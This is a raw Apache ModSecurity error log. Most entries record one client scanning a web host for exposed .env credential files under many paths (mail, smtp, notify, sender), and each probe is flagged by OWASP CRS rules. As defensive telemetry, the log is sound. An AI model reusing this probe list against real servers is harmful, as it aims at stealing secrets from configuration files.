[Fri Jul 17 09:15:06.850285 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.backup1"] [unique_id "almlQvwooI4qY7Jg93pY2gAAABM"]
[Fri Jul 17 09:15:06.851489 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.backup1"] [unique_id "almlQvwooI4qY7Jg93pY2gAAABM"]
[Fri Jul 17 09:15:07.091929 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlQvwooI4qY7Jg93pY2gAAABM"]
[Fri Jul 17 09:15:07.260525 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.backup2"] [unique_id "almlQ1h1WDijTxd1xw5PoAAAAAc"]
[Fri Jul 17 09:15:07.261751 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.backup2"] [unique_id "almlQ1h1WDijTxd1xw5PoAAAAAc"]
[Fri Jul 17 09:15:07.494809 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlQ1h1WDijTxd1xw5PoAAAAAc"]
[Fri Jul 17 09:15:07.665548 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /logs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/logs/.env"] [unique_id "almlQ_wooI4qY7Jg93pY2wAAABM"]
[Fri Jul 17 09:15:07.666873 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/logs/.env"] [unique_id "almlQ_wooI4qY7Jg93pY2wAAABM"]
[Fri Jul 17 09:15:07.877346 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlQ_wooI4qY7Jg93pY2wAAABM"]
[Fri Jul 17 09:15:08.047290 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cache/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cache/.env"] [unique_id "almlRFh1WDijTxd1xw5PoQAAAAc"]
[Fri Jul 17 09:15:08.049177 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cache/.env"] [unique_id "almlRFh1WDijTxd1xw5PoQAAAAc"]
[Fri Jul 17 09:15:08.057658 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:08.299640 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlRFh1WDijTxd1xw5PoQAAAAc"]
[Fri Jul 17 09:15:08.302739 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:08.471975 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mailer/.env"] [unique_id "almlRLEWOaI5pmYo9fnSDwAAAAA"]
[Fri Jul 17 09:15:08.473281 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mailer/.env"] [unique_id "almlRLEWOaI5pmYo9fnSDwAAAAA"]
[Fri Jul 17 09:15:08.487748 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:46540] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:08.662217 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlRLEWOaI5pmYo9fnSDwAAAAA"]
[Fri Jul 17 09:15:08.831679 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mail/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mail/.env"] [unique_id "almlREgVnBK6wAv37w6v4gAAABQ"]
[Fri Jul 17 09:15:08.832973 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mail/.env"] [unique_id "almlREgVnBK6wAv37w6v4gAAABQ"]
[Fri Jul 17 09:15:09.087117 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlREgVnBK6wAv37w6v4gAAABQ"]
[Fri Jul 17 09:15:09.261704 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /email/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/email/.env"] [unique_id "almlRQ7FYe46zHK_jL3TFgAAABk"]
[Fri Jul 17 09:15:09.262869 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/email/.env"] [unique_id "almlRQ7FYe46zHK_jL3TFgAAABk"]
[Fri Jul 17 09:15:09.470406 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlRQ7FYe46zHK_jL3TFgAAABk"]
[Fri Jul 17 09:15:09.639189 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /smtp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/smtp/.env"] [unique_id "almlRVh1WDijTxd1xw5PpAAAAAc"]
[Fri Jul 17 09:15:09.640432 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/smtp/.env"] [unique_id "almlRVh1WDijTxd1xw5PpAAAAAc"]
[Fri Jul 17 09:15:09.953653 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlRVh1WDijTxd1xw5PpAAAAAc"]
[Fri Jul 17 09:15:10.121996 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailing/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mailing/.env"] [unique_id "almlRl1_86A5R6msWNfXtgAAABI"]
[Fri Jul 17 09:15:10.123244 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/mailing/.env"] [unique_id "almlRl1_86A5R6msWNfXtgAAABI"]
[Fri Jul 17 09:15:10.136134 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:10.313590 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlRl1_86A5R6msWNfXtgAAABI"]
[Fri Jul 17 09:15:10.315533 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almlRY1dLClkUfK_dfHoEgAAAAI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1144&page_105=1489
[Fri Jul 17 09:15:10.315566 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almlRY1dLClkUfK_dfHoEgAAAAI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1144&page_105=1489
[Fri Jul 17 09:15:10.424893 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almlRrEKozcCJ-ReuK0GJwAAAAg"]
[Fri Jul 17 09:15:10.426003 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almlRrEKozcCJ-ReuK0GJwAAAAg"]
[Fri Jul 17 09:15:10.426413 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almlRrEKozcCJ-ReuK0GJwAAAAg"]
[Fri Jul 17 09:15:10.496726 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /notifications/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/notifications/.env"] [unique_id "almlRlh1WDijTxd1xw5PpQAAAAc"]
[Fri Jul 17 09:15:10.498482 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/notifications/.env"] [unique_id "almlRlh1WDijTxd1xw5PpQAAAAc"]
[Fri Jul 17 09:15:10.746923 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlRlh1WDijTxd1xw5PpQAAAAc"]
[Fri Jul 17 09:15:10.916128 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /notify/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/notify/.env"] [unique_id "almlRol9vhFBGA6D8l99bwAAAAw"]
[Fri Jul 17 09:15:10.917285 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/notify/.env"] [unique_id "almlRol9vhFBGA6D8l99bwAAAAw"]
[Fri Jul 17 09:15:11.153673 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlRol9vhFBGA6D8l99bwAAAAw"]
[Fri Jul 17 09:15:11.324779 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sender/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/sender/.env"] [unique_id "almlR614q1EBnanVMYGnRQAAAAk"]
